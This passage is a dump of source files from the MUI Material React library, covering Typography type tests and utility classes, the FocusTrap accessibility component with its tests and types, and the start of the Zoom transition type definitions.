    "content": "import * as React from 'react';\nimport { Typography, TypographyProps } from '@mui/material';\n\nconst typographyTest = () => {\n  const CustomComponent: React.FC<{ prop1: string; prop2: number }> = function CustomComponent() {\n    return <div />;\n  };\n\n  const CustomComponent2 = ({\n    maxLines,\n    ...props\n  }: TypographyProps & {\n    maxLines?: number;\n  }): React.JSX.Element => {\n    return (\n      <Typography\n        {...props}\n        sx={{\n          display: maxLines === 0 ? 'block' : '-webkit-box',\n        }}\n      />\n    );\n  };\n\n  return (\n    <div>\n      <Typography />\n      <CustomComponent2 component=\"span\" />\n      <CustomComponent2 component=\"div\" />\n      <Typography align=\"inherit\" sx={{ color: 'inherit' }} />\n      <Typography align=\"left\" sx={{ color: 'initial' }} />\n      <Typography align=\"right\" color=\"primary\" sx={{ display: 'initial' }} />\n      <Typography align=\"justify\" color=\"secondary\" sx={{ display: 'initial' }} />\n      <Typography align=\"inherit\" sx={{ color: 'text.primary' }} />\n      <Typography align=\"inherit\" color=\"textSecondary\" />\n      <Typography align=\"inherit\" color=\"textDisabled\" />\n      <Typography align=\"inherit\" color=\"error\" />\n      <Typography sx={{ display: 'block' }} />\n      <Typography component=\"a\" href=\"url\" sx={{ display: 'block' }} />\n      <Typography component=\"label\" htmlFor=\"html\" sx={{ display: 'block' }} />\n      {/* @ts-expect-error */}\n      <Typography component=\"a\" incorrectAttribute=\"url\" />\n      {/* @ts-expect-error */}\n      <Typography component=\"incorrectComponent\" href=\"url\" />\n      {/* @ts-expect-error */}\n      <Typography component=\"div\" href=\"url\" />\n      {/* @ts-expect-error */}\n      <Typography href=\"url\" />\n      <Typography component={CustomComponent} prop1=\"1\" prop2={12} />\n      {/* @ts-expect-error */}\n      <Typography component={CustomComponent} prop1=\"1\" prop2={12} id=\"1\" />\n      {/* @ts-expect-error */}\n      <Typography component={CustomComponent} prop1=\"1\" />\n      {/* @ts-expect-error */}\n      <Typography component={CustomComponent} prop1=\"1\" prop2=\"12\" />\n    </div>\n  );\n};\n"
  },
  {
    "path": "packages/mui-material/src/Typography/typographyClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface TypographyClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `variant=\"body2\"`. */\n  body2: string;\n  /** Styles applied to the root element if `variant=\"body1\"`. */\n  body1: string;\n  /** Styles applied to the root element if `variant=\"caption\"`. */\n  caption: string;\n  /** Styles applied to the root element if `variant=\"button\"`. */\n  button: string;\n  /** Styles applied to the root element if `variant=\"h1\"`. */\n  h1: string;\n  /** Styles applied to the root element if `variant=\"h2\"`. */\n  h2: string;\n  /** Styles applied to the root element if `variant=\"h3\"`. */\n  h3: string;\n  /** Styles applied to the root element if `variant=\"h4\"`. */\n  h4: string;\n  /** Styles applied to the root element if `variant=\"h5\"`. */\n  h5: string;\n  /** Styles applied to the root element if `variant=\"h6\"`. */\n  h6: string;\n  /** Styles applied to the root element if `variant=\"subtitle1\"`. */\n  subtitle1: string;\n  /** Styles applied to the root element if `variant=\"subtitle2\"`. */\n  subtitle2: string;\n  /** Styles applied to the root element if `variant=\"overline\"`. */\n  overline: string;\n  /** Styles applied to the root element if `variant=\"inherit\"`. */\n  inherit: string;\n  /** Styles applied to the root element if `align=\"left\"`. */\n  alignLeft: string;\n  /** Styles applied to the root element if `align=\"center\"`. */\n  alignCenter: string;\n  /** Styles applied to the root element if `align=\"right\"`. */\n  alignRight: string;\n  /** Styles applied to the root element if `align=\"justify\"`. */\n  alignJustify: string;\n  /** Styles applied to the root element if `nowrap={true}`. */\n  noWrap: string;\n  /** Styles applied to the root element if `gutterBottom={true}`. */\n  gutterBottom: string;\n}\n\nexport type TypographyClassKey = keyof TypographyClasses;\n\nexport function getTypographyUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiTypography', slot);\n}\n\nconst typographyClasses: TypographyClasses = generateUtilityClasses('MuiTypography', [\n  'root',\n  'h1',\n  'h2',\n  'h3',\n  'h4',\n  'h5',\n  'h6',\n  'subtitle1',\n  'subtitle2',\n  'body1',\n  'body2',\n  'inherit',\n  'button',\n  'caption',\n  'overline',\n  'alignLeft',\n  'alignRight',\n  'alignCenter',\n  'alignJustify',\n  'noWrap',\n  'gutterBottom',\n]);\n\nexport default typographyClasses;\n"
  },
  {
    "path": "packages/mui-material/src/Unstable_TrapFocus/FocusTrap.test.tsx",
    "content": "import * as React from 'react';\nimport * as ReactDOM from 'react-dom';\nimport { expect } from 'chai';\nimport { act, createRenderer, reactMajor, screen } from '@mui/internal-test-utils';\nimport FocusTrap from '@mui/material/Unstable_TrapFocus';\nimport Portal from '@mui/material/Portal';\n\ninterface GenericProps {\n  [index: string]: any;\n}\n\ndescribe('<FocusTrap />', () => {\n  const { clock, render } = createRenderer();\n\n  let initialFocus: HTMLElement | null = null;\n\n  beforeEach(async () => {\n    initialFocus = document.createElement('button');\n    initialFocus.tabIndex = 0;\n    document.body.appendChild(initialFocus);\n    initialFocus!.focus();\n  });\n\n  afterEach(async () => {\n    document.body.removeChild(initialFocus!);\n  });\n\n  it('should return focus to the root', async () => {\n    render(\n      <FocusTrap open>\n        <div tabIndex={-1} data-testid=\"root\">\n          <input autoFocus data-testid=\"auto-focus\" />\n        </div>\n      </FocusTrap>,\n      // TODO: https://github.com/reactwg/react-18/discussions/18#discussioncomment-893076\n      { strictEffects: false },\n    );\n\n    expect(screen.getByTestId('auto-focus')).toHaveFocus();\n\n    await act(async () => {\n      initialFocus!.focus();\n    });\n    expect(screen.getByTestId('root')).toHaveFocus();\n  });\n\n  it('should not return focus to the children when disableEnforceFocus is true', async () => {\n    render(\n      <FocusTrap open disableEnforceFocus>\n        <div tabIndex={-1}>\n          <input autoFocus data-testid=\"auto-focus\" />\n        </div>\n      </FocusTrap>,\n      // TODO: https://github.com/reactwg/react-18/discussions/18#discussioncomment-893076s\n      { strictEffects: false },\n    );\n\n    expect(screen.getByTestId('auto-focus')).toHaveFocus();\n\n    await act(async () => {\n      initialFocus!.focus();\n    });\n\n    expect(initialFocus).toHaveFocus();\n  });\n\n  it('should focus first focusable child in portal', async () => {\n    render(\n      <FocusTrap open>\n        <div tabIndex={-1}>\n          <Portal>\n            <input autoFocus data-testid=\"auto-focus\" />\n          </Portal>\n        </div>\n      </FocusTrap>,\n    );\n\n    expect(screen.getByTestId('auto-focus')).toHaveFocus();\n  });\n\n  it('should warn if the root content is not focusable', () => {\n    const UnfocusableDialog = React.forwardRef<HTMLDivElement>((_, ref) => <div ref={ref} />);\n\n    expect(() => {\n      render(\n        <FocusTrap open>\n          <UnfocusableDialog />\n        </FocusTrap>,\n      );\n    }).toErrorDev('MUI: The modal content node does not accept focus');\n  });\n\n  it('should not attempt to focus nonexistent children', () => {\n    const EmptyDialog = React.forwardRef(() => null);\n\n    render(\n      <FocusTrap open>\n        <EmptyDialog />\n      </FocusTrap>,\n    );\n  });\n\n  it('should focus rootRef if no tabbable children are rendered', () => {\n    render(\n      <FocusTrap open>\n        <div tabIndex={-1} data-testid=\"root\">\n          <div>Title</div>\n        </div>\n      </FocusTrap>,\n    );\n    expect(screen.getByTestId('root')).toHaveFocus();\n  });\n\n  it('does not steal focus from a portaled element if any prop but open changes', async () => {\n    function Test(props: GenericProps) {\n      return (\n        <FocusTrap disableAutoFocus open {...props}>\n          <div data-testid=\"focus-root\" tabIndex={-1}>\n            {ReactDOM.createPortal(<input data-testid=\"portal-input\" />, document.body)}\n          </div>\n        </FocusTrap>\n      );\n    }\n    const { setProps } = render(<Test />);\n    const portaledTextbox = screen.getByTestId('portal-input');\n    await act(async () => {\n      portaledTextbox.focus();\n    });\n\n    // sanity check\n    expect(portaledTextbox).toHaveFocus();\n\n    setProps({ disableAutoFocus: false });\n\n    expect(portaledTextbox).toHaveFocus();\n\n    setProps({ disableEnforceFocus: true });\n\n    expect(portaledTextbox).toHaveFocus();\n\n    setProps({ disableRestoreFocus: true });\n\n    expect(portaledTextbox).toHaveFocus();\n\n    // same behavior, just referential equality changes\n    setProps({ isEnabled: () => true });\n\n    expect(portaledTextbox).toHaveFocus();\n  });\n\n  it('undesired: lazy root does not get autofocus', async () => {\n    let mountDeferredComponent: React.DispatchWithoutAction;\n    const DeferredComponent = React.forwardRef<HTMLDivElement>(\n      function DeferredComponent(props, ref) {\n        const [mounted, setMounted] = React.useReducer(() => true, false);\n\n        mountDeferredComponent = setMounted;\n\n        if (mounted) {\n          return <div ref={ref} {...props} />;\n        }\n        return null;\n      },\n    );\n    render(\n      <FocusTrap open>\n        <DeferredComponent data-testid=\"deferred-component\" />\n      </FocusTrap>,\n    );\n\n    expect(initialFocus).toHaveFocus();\n\n    await act(async () => {\n      mountDeferredComponent();\n    });\n\n    // desired\n    // expect(screen.getByTestId('deferred-component')).toHaveFocus();\n    // undesired\n    expect(initialFocus).toHaveFocus();\n  });\n\n  it('does not bounce focus around due to sync focus-restore + focus-contain', () => {\n    const eventLog: string[] = [];\n    function Test(props: GenericProps) {\n      return (\n        <div onBlur={() => eventLog.push('blur')}>\n          <FocusTrap open {...props}>\n            <div data-testid=\"root\" tabIndex={-1}>\n              <input data-testid=\"focus-input\" />\n            </div>\n          </FocusTrap>\n        </div>\n      );\n    }\n    const { setProps } = render(<Test />, {\n      // Strict Effects interferes with the premise of the test.\n      // It would trigger a focus restore (i.e. a blur event)\n      strictEffects: false,\n    });\n\n    // same behavior, just referential equality changes\n    setProps({ isEnabled: () => true });\n\n    expect(screen.getByTestId('root')).toHaveFocus();\n    expect(eventLog).to.deep.equal([]);\n  });\n\n  it('does not focus if isEnabled returns false', async () => {\n    function Test(props: GenericProps) {\n      return (\n        <div>\n          <input />\n          <FocusTrap open {...props}>\n            <div tabIndex={-1} data-testid=\"root\" />\n          </FocusTrap>\n        </div>\n      );\n    }\n    const { setProps } = render(<Test />, { strict: reactMajor <= 18 });\n    expect(screen.getByTestId('root')).toHaveFocus();\n\n    await act(async () => {\n      screen.getByRole('textbox').focus();\n    });\n    expect(screen.getByRole('textbox')).not.toHaveFocus();\n\n    setProps({ isEnabled: () => false });\n\n    await act(async () => {\n      screen.getByRole('textbox').focus();\n    });\n    expect(screen.getByRole('textbox')).toHaveFocus();\n  });\n\n  it('restores focus when closed', () => {\n    function Test(props: GenericProps) {\n      return (\n        <FocusTrap open {...props}>\n          <div data-testid=\"focus-root\" tabIndex={-1}>\n            <input />\n          </div>\n        </FocusTrap>\n      );\n    }\n    const { setProps } = render(<Test />);\n\n    setProps({ open: false });\n\n    expect(initialFocus).toHaveFocus();\n  });\n\n  it('undesired: enabling restore-focus logic when closing has no effect', () => {\n    function Test(props: GenericProps) {\n      return (\n        <FocusTrap open disableRestoreFocus {...props}>\n          <div data-testid=\"root\" tabIndex={-1}>\n            <input data-testid=\"focus-input\" />\n          </div>\n        </FocusTrap>\n      );\n    }\n    const { setProps } = render(<Test />);\n\n    setProps({ open: false, disableRestoreFocus: false });\n\n    // undesired: should be expect(initialFocus).toHaveFocus();\n    expect(screen.getByTestId('root')).toHaveFocus();\n  });\n\n  it('undesired: setting `disableRestoreFocus` to false before closing has no effect', () => {\n    function Test(props: GenericProps) {\n      return (\n        <FocusTrap open disableRestoreFocus {...props}>\n          <div data-testid=\"root\" tabIndex={-1}>\n            <input data-testid=\"focus-input\" />\n          </div>\n        </FocusTrap>\n      );\n    }\n    const { setProps } = render(<Test />);\n\n    setProps({ disableRestoreFocus: false });\n    setProps({ open: false });\n\n    // undesired: should be expect(initialFocus).toHaveFocus();\n    expect(screen.getByTestId('root')).toHaveFocus();\n  });\n\n  describe('interval', () => {\n    clock.withFakeTimers();\n\n    it('contains the focus if the active element is removed', async () => {\n      function WithRemovableElement({ hideButton = false }) {\n        return (\n          <FocusTrap open>\n            <div tabIndex={-1} data-testid=\"root\">\n              {!hideButton && (\n                <button type=\"button\" data-testid=\"hide-button\">\n                  I am going to disappear\n                </button>\n              )}\n            </div>\n          </FocusTrap>\n        );\n      }\n\n      const { setProps } = render(<WithRemovableElement />);\n\n      expect(screen.getByTestId('root')).toHaveFocus();\n      await act(async () => {\n        screen.getByTestId('hide-button').focus();\n      });\n      expect(screen.getByTestId('hide-button')).toHaveFocus();\n\n      setProps({ hideButton: true });\n      expect(screen.getByTestId('root')).not.toHaveFocus();\n      clock.tick(500); // wait for the interval check to kick in.\n      expect(screen.getByTestId('root')).toHaveFocus();\n    });\n\n    describe('prop: disableAutoFocus', () => {\n      it('should not trap', async () => {\n        render(\n          <div>\n            <input />\n            <FocusTrap open disableAutoFocus>\n              <div tabIndex={-1} data-testid=\"root\" />\n            </FocusTrap>\n          </div>,\n        );\n\n        clock.tick(500); // trigger an interval call\n\n        expect(initialFocus).toHaveFocus();\n\n        await act(async () => {\n          screen.getByRole('textbox').focus();\n        });\n        expect(screen.getByRole('textbox')).toHaveFocus();\n      });\n\n      it('should trap once the focus moves inside', async () => {\n        render(\n          <div>\n            <input data-testid=\"outside-input\" />\n            <FocusTrap open disableAutoFocus>\n              <div tabIndex={-1} data-testid=\"root\">\n                <button type=\"button\" data-testid=\"focus-input\" />\n              </div>\n            </FocusTrap>\n          </div>,\n        );\n\n        expect(initialFocus).toHaveFocus();\n\n        await act(async () => {\n          screen.getByTestId('outside-input').focus();\n        });\n        expect(screen.getByTestId('outside-input')).toHaveFocus();\n\n        // the trap activates\n        await act(async () => {\n          screen.getByTestId('focus-input').focus();\n        });\n        expect(screen.getByTestId('focus-input')).toHaveFocus();\n\n        // the trap prevent to escape\n        await act(async () => {\n          screen.getByTestId('outside-input').focus();\n        });\n        expect(screen.getByTestId('root')).toHaveFocus();\n      });\n\n      it('should restore the focus', async () => {\n        function Test(props: GenericProps) {\n          return (\n            <div>\n              <input data-testid=\"outside-input\" />\n              <FocusTrap open disableAutoFocus {...props}>\n                <div tabIndex={-1} data-testid=\"root\">\n                  <input data-testid=\"focus-input\" />\n                </div>\n              </FocusTrap>\n            </div>\n          );\n        }\n\n        const { setProps } = render(<Test />);\n\n        // set the expected focus restore location\n        await act(async () => {\n          screen.getByTestId('outside-input').focus();\n        });\n        expect(screen.getByTestId('outside-input')).toHaveFocus();\n\n        // the trap activates\n        await act(async () => {\n          screen.getByTestId('root').focus();\n        });\n        expect(screen.getByTestId('root')).toHaveFocus();\n\n        // restore the focus to the first element before triggering the trap\n        setProps({ open: false });\n        expect(screen.getByTestId('outside-input')).toHaveFocus();\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Unstable_TrapFocus/FocusTrap.tsx",
    "content": "'use client';\n/* eslint-disable consistent-return, jsx-a11y/no-noninteractive-tabindex */\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport useForkRef from '@mui/utils/useForkRef';\nimport ownerDocument from '@mui/utils/ownerDocument';\nimport getReactElementRef from '@mui/utils/getReactElementRef';\nimport exactProp from '@mui/utils/exactProp';\nimport elementAcceptingRef from '@mui/utils/elementAcceptingRef';\nimport getActiveElement from '../utils/getActiveElement';\nimport { FocusTrapProps } from './FocusTrap.types';\n\n// Inspired by https://github.com/focus-trap/tabbable\nconst candidatesSelector = [\n  'input',\n  'select',\n  'textarea',\n  'a[href]',\n  'button',\n  '[tabindex]',\n  'audio[controls]',\n  'video[controls]',\n  '[contenteditable]:not([contenteditable=\"false\"])',\n].join(',');\n\ninterface OrderedTabNode {\n  documentOrder: number;\n  tabIndex: number;\n  node: HTMLElement;\n}\n\nfunction getTabIndex(node: HTMLElement): number {\n  const tabindexAttr = parseInt(node.getAttribute('tabindex') || '', 10);\n\n  if (!Number.isNaN(tabindexAttr)) {\n    return tabindexAttr;\n  }\n\n  // Browsers do not return `tabIndex` correctly for contentEditable nodes;\n  // https://issues.chromium.org/issues/41283952\n  // so if they don't have a tabindex attribute specifically set, assume it's 0.\n  // in Chrome, <details/>, <audio controls/> and <video controls/> elements get a default\n  //  `tabIndex` of -1 when the 'tabindex' attribute isn't specified in the DOM,\n  //  yet they are still part of the regular tab order; in FF, they get a default\n  //  `tabIndex` of 0; since Chrome still puts those elements in the regular tab\n  //  order, consider their tab index to be 0.\n  if (\n    node.contentEditable === 'true' ||\n    ((node.nodeName === 'AUDIO' || node.nodeName === 'VIDEO' || node.nodeName === 'DETAILS') &&\n      node.getAttribute('tabindex') === null)\n  ) {\n    return 0;\n  }\n\n  return node.tabIndex;\n}\n\nfunction isNonTabbableRadio(node: HTMLInputElement): boolean {\n  if (node.tagName !== 'INPUT' || node.type !== 'radio') {\n    return false;\n  }\n\n  if (!node.name) {\n    return false;\n  }\n\n  const getRadio = (selector: string) =>\n    node.ownerDocument.querySelector(`input[type=\"radio\"]${selector}`);\n\n  let roving = getRadio(`[name=\"${node.name}\"]:checked`);\n\n  if (!roving) {\n    roving = getRadio(`[name=\"${node.name}\"]`);\n  }\n\n  return roving !== node;\n}\n\nfunction isNodeMatchingSelectorFocusable(node: HTMLInputElement): boolean {\n  if (\n    node.disabled ||\n    (node.tagName === 'INPUT' && node.type === 'hidden') ||\n    isNonTabbableRadio(node)\n  ) {\n    return false;\n  }\n  return true;\n}\n\nfunction defaultGetTabbable(root: HTMLElement): HTMLElement[] {\n  const regularTabNodes: HTMLElement[] = [];\n  const orderedTabNodes: OrderedTabNode[] = [];\n\n  Array.from(root.querySelectorAll(candidatesSelector)).forEach((node, i) => {\n    const nodeTabIndex = getTabIndex(node as HTMLElement);\n\n    if (nodeTabIndex === -1 || !isNodeMatchingSelectorFocusable(node as HTMLInputElement)) {\n      return;\n    }\n\n    if (nodeTabIndex === 0) {\n      regularTabNodes.push(node as HTMLElement);\n    } else {\n      orderedTabNodes.push({\n        documentOrder: i,\n        tabIndex: nodeTabIndex,\n        node: node as HTMLElement,\n      });\n    }\n  });\n\n  return orderedTabNodes\n    .sort((a, b) =>\n      a.tabIndex === b.tabIndex ? a.documentOrder - b.documentOrder : a.tabIndex - b.tabIndex,\n    )\n    .map((a) => a.node)\n    .concat(regularTabNodes);\n}\n\nfunction defaultIsEnabled(): boolean {\n  return true;\n}\n\n/**\n * @ignore - internal component.\n */\nfunction FocusTrap(props: FocusTrapProps): React.JSX.Element {\n  const {\n    children,\n    disableAutoFocus = false,\n    disableEnforceFocus = false,\n    disableRestoreFocus = false,\n    getTabbable = defaultGetTabbable,\n    isEnabled = defaultIsEnabled,\n    open,\n  } = props;\n  const ignoreNextEnforceFocus = React.useRef(false);\n  const sentinelStart = React.useRef<HTMLDivElement>(null);\n  const sentinelEnd = React.useRef<HTMLDivElement>(null);\n  const nodeToRestore = React.useRef<EventTarget>(null);\n  const reactFocusEventTarget = React.useRef<EventTarget>(null);\n  // This variable is useful when disableAutoFocus is true.\n  // It waits for the active element to move into the component to activate.\n  const activated = React.useRef(false);\n\n  const rootRef = React.useRef<HTMLElement>(null);\n  const handleRef = useForkRef(getReactElementRef(children), rootRef);\n  const lastKeydown = React.useRef<KeyboardEvent>(null);\n\n  React.useEffect(() => {\n    // We might render an empty child.\n    if (!open || !rootRef.current) {\n      return;\n    }\n\n    activated.current = !disableAutoFocus;\n  }, [disableAutoFocus, open]);\n\n  React.useEffect(() => {\n    // We might render an empty child.\n    if (!open || !rootRef.current) {\n      return;\n    }\n\n    const doc = ownerDocument(rootRef.current);\n    const activeElement = getActiveElement(doc);\n\n    if (!rootRef.current.contains(activeElement)) {\n      if (!rootRef.current.hasAttribute('tabIndex')) {\n        if (process.env.NODE_ENV !== 'production') {\n          console.error(\n            [\n              'MUI: The modal content node does not accept focus.',\n              'For the benefit of assistive technologies, ' +\n                'the tabIndex of the node is being set to \"-1\".',\n            ].join('\\n'),\n          );\n        }\n        rootRef.current.setAttribute('tabIndex', '-1');\n      }\n\n      if (activated.current) {\n        rootRef.current.focus();\n      }\n    }\n\n    return () => {\n      // restoreLastFocus()\n      if (!disableRestoreFocus) {\n        // In IE11 it is possible for document.activeElement to be null resulting\n        // in nodeToRestore.current being null.\n        // Not all elements in IE11 have a focus method.\n        // Once IE11 support is dropped the focus() call can be unconditional.\n        if (nodeToRestore.current && (nodeToRestore.current as HTMLElement).focus) {\n          ignoreNextEnforceFocus.current = true;\n          (nodeToRestore.current as HTMLElement).focus();\n        }\n\n        nodeToRestore.current = null;\n      }\n    };\n    // Missing `disableRestoreFocus` which is fine.\n    // We don't support changing that prop on an open FocusTrap\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, [open]);\n\n  React.useEffect(() => {\n    // We might render an empty child.\n    if (!open || !rootRef.current) {\n      return;\n    }\n\n    const doc = ownerDocument(rootRef.current);\n\n    const loopFocus = (nativeEvent: KeyboardEvent) => {\n      lastKeydown.current = nativeEvent;\n\n      if (disableEnforceFocus || !isEnabled() || nativeEvent.key !== 'Tab') {\n        return;\n      }\n\n      const activeElement = getActiveElement(doc);\n\n      // Make sure the next tab starts from the right place.\n      // activeElement refers to the origin.\n      if (activeElement === rootRef.current && nativeEvent.shiftKey) {\n        // We need to ignore the next contain as\n        // it will try to move the focus back to the rootRef element.\n        ignoreNextEnforceFocus.current = true;\n        if (sentinelEnd.current) {\n          sentinelEnd.current.focus();\n        }\n      }\n    };\n\n    const contain = () => {\n      const rootElement = rootRef.current;\n\n      // Cleanup functions are executed lazily in React 17.\n      // Contain can be called between the component being unmounted and its cleanup function being run.\n      if (rootElement === null) {\n        return;\n      }\n\n      const activeEl = getActiveElement(doc);\n\n      if (!doc.hasFocus() || !isEnabled() || ignoreNextEnforceFocus.current) {\n        ignoreNextEnforceFocus.current = false;\n        return;\n      }\n\n      // The focus is already inside\n      if (rootElement.contains(activeEl)) {\n        return;\n      }\n\n      // The disableEnforceFocus is set and the focus is outside of the focus trap (and sentinel nodes)\n      if (\n        disableEnforceFocus &&\n        activeEl !== sentinelStart.current &&\n        activeEl !== sentinelEnd.current\n      ) {\n        return;\n      }\n\n      // if the focus event is not coming from inside the children's react tree, reset the refs\n      if (activeEl !== reactFocusEventTarget.current) {\n        reactFocusEventTarget.current = null;\n      } else if (reactFocusEventTarget.current !== null) {\n        return;\n      }\n\n      if (!activated.current) {\n        return;\n      }\n\n      let tabbable: ReadonlyArray<HTMLElement> = [];\n      if (activeEl === sentinelStart.current || activeEl === sentinelEnd.current) {\n        tabbable = getTabbable(rootRef.current!);\n      }\n\n      // one of the sentinel nodes was focused, so move the focus\n      // to the first/last tabbable element inside the focus trap\n      if (tabbable.length > 0) {\n        const isShiftTab = Boolean(\n          lastKeydown.current?.shiftKey && lastKeydown.current?.key === 'Tab',\n        );\n\n        const focusNext = tabbable[0];\n        const focusPrevious = tabbable[tabbable.length - 1];\n\n        if (typeof focusNext !== 'string' && typeof focusPrevious !== 'string') {\n          if (isShiftTab) {\n            focusPrevious.focus();\n          } else {\n            focusNext.focus();\n          }\n        }\n        // no tabbable elements in the trap focus or the focus was outside of the focus trap\n      } else {\n        rootElement.focus();\n      }\n    };\n\n    doc.addEventListener('focusin', contain);\n    doc.addEventListener('keydown', loopFocus, true);\n\n    // With Edge, Safari and Firefox, no focus related events are fired when the focused area stops being a focused area.\n    // for example https://bugzilla.mozilla.org/show_bug.cgi?id=559561.\n    // Instead, we can look if the active element was restored on the BODY element.\n    //\n    // The whatwg spec defines how the browser should behave but does not explicitly mention any events:\n    // https://html.spec.whatwg.org/multipage/interaction.html#focus-fixup-rule.\n    const interval = setInterval(() => {\n      const activeEl = getActiveElement(doc);\n      if (activeEl && activeEl.tagName === 'BODY') {\n        contain();\n      }\n    }, 50);\n\n    return () => {\n      clearInterval(interval);\n\n      doc.removeEventListener('focusin', contain);\n      doc.removeEventListener('keydown', loopFocus, true);\n    };\n  }, [disableAutoFocus, disableEnforceFocus, disableRestoreFocus, isEnabled, open, getTabbable]);\n\n  const onFocus = (event: React.FocusEvent<Element, Element>) => {\n    if (nodeToRestore.current === null) {\n      nodeToRestore.current = event.relatedTarget;\n    }\n    activated.current = true;\n    reactFocusEventTarget.current = event.target;\n\n    const childrenPropsHandler = children.props.onFocus;\n    if (childrenPropsHandler) {\n      childrenPropsHandler(event);\n    }\n  };\n\n  const handleFocusSentinel = (event: React.FocusEvent<HTMLDivElement>) => {\n    if (nodeToRestore.current === null) {\n      nodeToRestore.current = event.relatedTarget;\n    }\n    activated.current = true;\n  };\n\n  return (\n    <React.Fragment>\n      <div\n        tabIndex={open ? 0 : -1}\n        onFocus={handleFocusSentinel}\n        ref={sentinelStart}\n        data-testid=\"sentinelStart\"\n      />\n      {React.cloneElement(children, { ref: handleRef, onFocus })}\n      <div\n        tabIndex={open ? 0 : -1}\n        onFocus={handleFocusSentinel}\n        ref={sentinelEnd}\n        data-testid=\"sentinelEnd\"\n      />\n    </React.Fragment>\n  );\n}\n\nFocusTrap.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │ To update them, edit the TypeScript types and run `pnpm proptypes`. │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * A single child content element.\n   */\n  children: elementAcceptingRef,\n  /**\n   * If `true`, the focus trap will not automatically shift focus to itself when it opens, and\n   * replace it to the last focused element when it closes.\n   * This also works correctly with any focus trap children that have the `disableAutoFocus` prop.\n   *\n   * Generally this should never be set to `true` as it makes the focus trap less\n   * accessible to assistive technologies, like screen readers.\n   * @default false\n   */\n  disableAutoFocus: PropTypes.bool,\n  /**\n   * If `true`, the focus trap will not prevent focus from leaving the focus trap while open.\n   *\n   * Generally this should never be set to `true` as it makes the focus trap less\n   * accessible to assistive technologies, like screen readers.\n   * @default false\n   */\n  disableEnforceFocus: PropTypes.bool,\n  /**\n   * If `true`, the focus trap will not restore focus to previously focused element once\n   * focus trap is hidden or unmounted.\n   * @default false\n   */\n  disableRestoreFocus: PropTypes.bool,\n  /**\n   * Returns an array of ordered tabbable nodes (i.e. in tab order) within the root.\n   * For instance, you can provide the \"tabbable\" npm dependency.\n   * @param {HTMLElement} root\n   */\n  getTabbable: PropTypes.func,\n  /**\n   * This prop extends the `open` prop.\n   * It allows to toggle the open state without having to wait for a rerender when changing the `open` prop.\n   * This prop should be memoized.\n   * It can be used to support multiple focus trap mounted at the same time.\n   * @default function defaultIsEnabled(): boolean {\n   *   return true;\n   * }\n   */\n  isEnabled: PropTypes.func,\n  /**\n   * If `true`, focus is locked.\n   */\n  open: PropTypes.bool.isRequired,\n} as any;\n\nif (process.env.NODE_ENV !== 'production') {\n  // eslint-disable-next-line\n  (FocusTrap as any)['propTypes' + ''] = exactProp(FocusTrap.propTypes);\n}\n\nexport default FocusTrap;\n"
  },
  {
    "path": "packages/mui-material/src/Unstable_TrapFocus/FocusTrap.types.ts",
    "content": "import * as React from 'react';\n\nexport interface FocusTrapProps {\n  /**\n   * If `true`, focus is locked.\n   */\n  open: boolean;\n  /**\n   * Returns an array of ordered tabbable nodes (i.e. in tab order) within the root.\n   * For instance, you can provide the \"tabbable\" npm dependency.\n   * @param {HTMLElement} root\n   */\n  getTabbable?: ((root: HTMLElement) => ReadonlyArray<HTMLElement>) | undefined;\n  /**\n   * This prop extends the `open` prop.\n   * It allows to toggle the open state without having to wait for a rerender when changing the `open` prop.\n   * This prop should be memoized.\n   * It can be used to support multiple focus trap mounted at the same time.\n   * @default function defaultIsEnabled(): boolean {\n   *   return true;\n   * }\n   */\n  isEnabled?: (() => boolean) | undefined;\n  /**\n   * A single child content element.\n   */\n  children: React.ReactElement<{\n    onFocus?: React.FocusEventHandler | undefined;\n    ref?: React.RefCallback<any> | null | undefined;\n  }>;\n  /**\n   * If `true`, the focus trap will not automatically shift focus to itself when it opens, and\n   * replace it to the last focused element when it closes.\n   * This also works correctly with any focus trap children that have the `disableAutoFocus` prop.\n   *\n   * Generally this should never be set to `true` as it makes the focus trap less\n   * accessible to assistive technologies, like screen readers.\n   * @default false\n   */\n  disableAutoFocus?: boolean | undefined;\n  /**\n   * If `true`, the focus trap will not prevent focus from leaving the focus trap while open.\n   *\n   * Generally this should never be set to `true` as it makes the focus trap less\n   * accessible to assistive technologies, like screen readers.\n   * @default false\n   */\n  disableEnforceFocus?: boolean | undefined;\n  /**\n   * If `true`, the focus trap will not restore focus to previously focused element once\n   * focus trap is hidden or unmounted.\n   * @default false\n   */\n  disableRestoreFocus?: boolean | undefined;\n}\n"
  },
  {
    "path": "packages/mui-material/src/Unstable_TrapFocus/index.d.ts",
    "content": "export { default } from './FocusTrap';\nexport { FocusTrapProps as TrapFocusProps } from './FocusTrap.types';\n"
  },
  {
    "path": "packages/mui-material/src/Unstable_TrapFocus/index.js",
    "content": "export { default } from './FocusTrap';\n"
  },
  {
    "path": "packages/mui-material/src/Zoom/Zoom.d.ts",
    "content": "import * as React from 'react';\nimport { TransitionProps } from '../transitions/transition';\n\nexport interface ZoomProps extends TransitionProps {\n  /**\n   * Perform the enter transition when it first mounts if `in` is also `true`.\n   * Set this to `false` to disable this behavior.\n   * @default true\n   */\n  appear?: boolean | undefined;\n  /**\n   * A single child content element.\n   */\n  children: React.ReactElement<unknown, any>;\n  /**\n   * The transition timing function.\n   * You may specify a single easing or a object containing enter and exit values.\n   */\n  easing?: TransitionProps['easing'] | undefined;\n  /**\n   * If `true`, the component will transition in.\n   */\n  in?: boolean | undefined;\n  ref?: React.Ref<unknown> | undefined;\n  /**\n   * The duration for the transition, in milliseconds.\n   * You may specify a single timeout for all transitions, or individually with an object.\n   * @default {\n   *   enter: theme.transitions.duration.enteringScreen,\n   *   exit: theme.transitions.duration.leavingScreen,\n   * }\n   */\n  timeout?: TransitionProps['timeout'] | undefined;\n}\n\n/**\n * The Zoom transition can be used for the floating variant of the\n * [Button](https://next.mui.com/material-ui/react-floating-action-button/#animation) component.\n * It uses [react-transition-group](https://github.com/reactjs/react-transition-group) internally.\n 